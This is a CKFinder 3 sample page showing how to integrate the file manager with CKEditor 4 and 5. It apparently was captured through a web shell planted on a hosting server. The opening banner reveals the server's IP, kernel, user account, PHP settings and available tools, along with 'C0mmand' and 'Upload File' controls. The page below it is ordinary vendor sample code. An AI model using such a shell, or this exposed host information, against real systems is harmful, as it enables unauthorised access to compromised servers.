|
Server IP : 172.26.0.195 / Your IP : 18.221.93.167 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/css/../assets/../admin/js/../ckfinder/lang/../samples/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<!--
Copyright (c) 2007-2019, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or https://ckeditor.com/sales/license/ckfinder
-->
<html>
<head>
<meta charset="utf-8">
<title>CKFinder 3 Samples</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<!--[if lt IE 9]>
<script src="js/html5shiv.min.js"></script>
<![endif]-->
<link href="css/sample.css" rel="stylesheet">
</head>
<body>
<header class="header-a">
<div class="grid-container">
<h1 class="header-a-logo grid-width-30">
<a href="index.html"><img src="img/logo.png" alt="CKFinder Logo"></a>
</h1>
<nav class="navigation-b grid-width-70">
<ul>
<li><a href="https://ckeditor.com/docs/ckfinder/ckfinder3/" class="button-a">Documentation</a></li>
</ul>
</nav>
</div>
</header>
<main class="grid-container">
<nav class="tree-a tree-a-layout grid-width-30">
<h1>CKFinder Samples</h1>
<h2>Website Integration</h2>
<ul>
<li><a href="widget.html">Widget</a></li>
<li><a href="popups.html">Popup</a></li>
<li><a href="modals.html">Modal</a></li>
<li><a href="full-page.html">Full Page</a></li>
</ul>
<h2 class="tree-a-no-sub tree-a-active"><a href="ckeditor.html">CKEditor Integration</a></h2>
<h2>Skins</h2>
<ul>
<li><a href="skins-neko.html">Neko</a></li>
<li><a href="skins-moono.html">Moono</a></li>
<li><a href="skins-jquery-mobile.html">jQuery Mobile</a></li>
</ul>
<h2>User Interface</h2>
<ul>
<li><a href="user-interface-default.html">Default</a></li>
<li><a href="user-interface-compact.html">Compact</a></li>
<li><a href="user-interface-mobile.html">Mobile</a></li>
<li><a href="user-interface-listview.html">List View</a></li>
</ul>
<h2 class="tree-a-no-sub"><a href="localization.html">Localization</a></h2>
<h2>Other</h2>
<ul>
<li><a href="other-read-only.html">Read-only Mode</a></li>
<li><a href="other-custom-configuration.html">Custom Configuration</a></li>
</ul>
<h2 class="tree-a-no-sub"><a href="plugin-examples.html">Plugin Examples</a></h2>
</nav>
<section class="content grid-width-70">
<h1>CKEditor Integration</h1>
<h2 id="integration-ckeditor5">CKEditor 5</h2>
<p>To integrate CKFinder with CKEditor 5
all you have to do is pass some additional configuration options to CKEditor:</p>
<pre class="prettyprint"><code style="overflow-x: scroll">ClassicEditor
.create( document.querySelector( '#editor1' ), {
ckfinder: {
uploadUrl: '/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Files&responseType=json',
},
toolbar: [ 'ckfinder', 'imageUpload', '|', 'heading', '|', 'bold', 'italic', '|', 'undo', 'redo' ]
} )
.catch( error => {
console.error( error );
} );
</code></pre>
<p>
The sample below presents the result of the integration. Try pasting images from clipboard directly into the editing area as well as dropping images — the files will be saved on the fly by CKFinder.
</p>
<p>
You can use the <svg width="20" height="20" viewBox="0 0 20 20"><path d="M11.627 16.5a3.496 3.496 0 0 1 0 0zm5.873-.196a3.484 3.484 0 0 1 0 0zm0-7.001V8h-13v8.5h4.341c.191.54.457 1.044.785 1.5H2a1.5 1.5 0 0 1-1.5-1.5v-13A1.5 1.5 0 0 1 2 2h4.5a1.5 1.5 0 0 1 1.06.44L9.122 4H16a1.5 1.5 0 0 1 1.5 1.5v1A1.5 1.5 0 0 1 19 8v2.531a6.027 6.027 0 0 0-1.5-1.228zM16 6.5v-1H8.5l-2-2H2v13h1V8a1.5 1.5 0 0 1 1.5-1.5H16z"></path><path d="M14.5 19.5a5 5 0 1 1 0-10 5 5 0 0 1 0 10zM15 14v-2h-1v2h-2v1h2v2h1v-2h2v-1h-2z"></path></svg>
(Insert image or file) toolbar button to open a CKFinder window. Then you can mange your files or choose an asset that
should be added to the edited content.
</p>
<div id="editor1"></div>
<p>
For detailed information about the integration between CKEditor 5 and CKFinder, please refer to the <a href="https://ckeditor.com/docs/ckeditor5/latest/features/image-upload/ckfinder.html">CKFinder integration</a>
article in the <a href="https://ckeditor.com/docs/ckeditor5/latest/index.html">CKEditor 5 documentation</a>.
</p>
<h2 id="integration-ckeditor4">CKEditor 4</h2>
<p>To <a href="https://ckeditor.com/docs/ckfinder/ckfinder3/#!/guide/dev_ckeditor">integrate CKFinder with CKEditor 4</a>
all you have to do is pass some additional configuration options to CKEditor:</p>
<pre class="prettyprint"><code>CKEDITOR.replace( 'editor2', {
filebrowserBrowseUrl: '/ckfinder/ckfinder.html',
filebrowserUploadUrl: '/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Files'
} );</code></pre>
<p>It is also possible to use <code>CKFinder.setupCKEditor()</code> as shown below:</p>
<pre class="prettyprint"><code>var editor = CKEDITOR.replace( 'ckfinder' );
CKFinder.setupCKEditor( editor );</code></pre>
<p>The sample below presents the result of the integration. You can manage and select files from your server when creating links or embedding images in CKEditor 4 content. In modern browsers you may also try <strong>pasting images from clipboard</strong> directly into the editing area as well as <strong>dropping images</strong> — the files will be saved on the fly by CKFinder.</p>
<div id="editor2"></div>
</section>
</main>
<footer class="footer-a grid-container">
<div class="grid-container">
<p class="grid-width-100">
CKFinder 3 – <a href="https://ckeditor.com/ckfinder/">https://ckeditor.com/ckfinder/</a>
</p>
<p class="grid-width-100">
Copyright © 2003-2019, <a class="samples" href="http://cksource.com/">CKSource</a> – Frederico
Knabben. <a href="https://ckeditor.com/sales/license/ckfinder">All rights reserved</a>.
</p>
</div>
</footer>
<nav class="navigation-a">
<div class="grid-container">
<ul class="navigation-a-left grid-width-70">
<li><a href="https://ckeditor.com/ckfinder/">Project Homepage</a></li>
<li class="global-is-mobile-hidden"><a href="https://github.com/ckfinder/ckfinder/issues">I found a bug in CKFinder</a></li>
<li class="global-is-mobile-hidden"><a class="icon-pos-right icon-navigation-a-github" href="https://github.com/ckfinder/ckfinder-docs-samples">Sample Plugins on GitHub</a></li>
</ul>
</div>
</nav>
<style>div.ck-editor__editable { min-height: 200px;}</style>
<script src="js/sf.js"></script>
<script src="js/tree-a.js"></script>
<script src="https://cdn.ckeditor.com/4.12.1/standard-all/ckeditor.js"></script>
<script src="https://cdn.ckeditor.com/ckeditor5/12.4.0/classic/ckeditor.js"></script>
<script src="../ckfinder.js"></script>
<script>
if ( typeof ClassicEditor !== 'undefined' ) {
ClassicEditor
.create( document.querySelector( '#editor1' ), {
ckfinder: {
// To avoid issues, set it to an absolute path that does not start with dots, e.g. '/ckfinder/core/php/(...)'
uploadUrl: '../core/connector/php/connector.php?command=QuickUpload&type=Files&responseType=json'
},
toolbar: [ 'ckfinder', 'imageUpload', '|', 'heading', '|', 'bold', 'italic', '|', 'undo', 'redo' ]
} )
.then( function( editor ) {
// console.log( editor );
} )
.catch( function( error ) {
console.error( error );
} );
} else {
document.getElementById( 'editor1' ).innerHTML =
'<div class="tip-a tip-a-alert">This sample requires working Internet connection to load CKEditor 5 from CDN.</div>'
}
// Note: in this sample we use CKEditor with two extra plugins:
// - uploadimage to support pasting and dragging images,
// - image2 (instead of image) to provide images with captions.
// Additionally, the CSS style for the editing area has been slightly modified to provide responsive images during editing.
// All these modifications are not required by CKFinder, they just provide better user experience.
if ( typeof CKEDITOR !== 'undefined' ) {
CKEDITOR.disableAutoInline = true;
CKEDITOR.addCss( 'img {max-width:100%; height: auto;}' );
var editor = CKEDITOR.replace( 'editor2', {
extraPlugins: 'uploadimage,image2',
removePlugins: 'image',
height:250
} );
CKFinder.setupCKEditor( editor );
} else {
document.getElementById( 'editor2' ).innerHTML =
'<div class="tip-a tip-a-alert">This sample requires working Internet connection to load CKEditor 4 from CDN.</div>'
}
</script>
<script src="//cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js" type="text/javascript"></script>
</body>
</html>